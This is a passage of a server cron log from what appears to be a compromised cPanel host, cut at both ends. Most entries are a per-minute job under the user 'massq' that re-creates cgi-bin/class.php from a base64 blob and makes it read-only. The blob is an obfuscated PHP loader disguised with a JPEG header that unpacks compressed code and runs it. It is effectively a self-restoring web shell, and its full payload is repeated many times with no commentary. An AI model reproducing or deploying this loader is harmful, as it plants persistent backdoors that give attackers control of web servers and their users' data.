PUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:14:01 server CROND[27209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:15:01 server CROND[27262]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 23:15:01 server CROND[27263]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 23:15:01 server CROND[27264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:16:01 server CROND[27387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:17:01 server CROND[27446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:18:01 server CROND[27515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:19:01 server CROND[27576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:20:01 server CROND[27728]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 23:20:01 server CROND[27729]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 23:20:01 server CROND[27731]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 23:20:01 server CROND[27732]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 23:20:01 server CROND[27733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:21:01 server CROND[27837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:22:01 server CROND[27900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:23:01 server CROND[27952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:24:01 server CROND[27995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:25:01 server CROND[28167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:25:01 server CROND[28169]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 23:25:01 server CROND[28168]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 23:26:01 server CROND[28273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:27:01 server CROND[28321]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 23:27:01 server CROND[28322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCR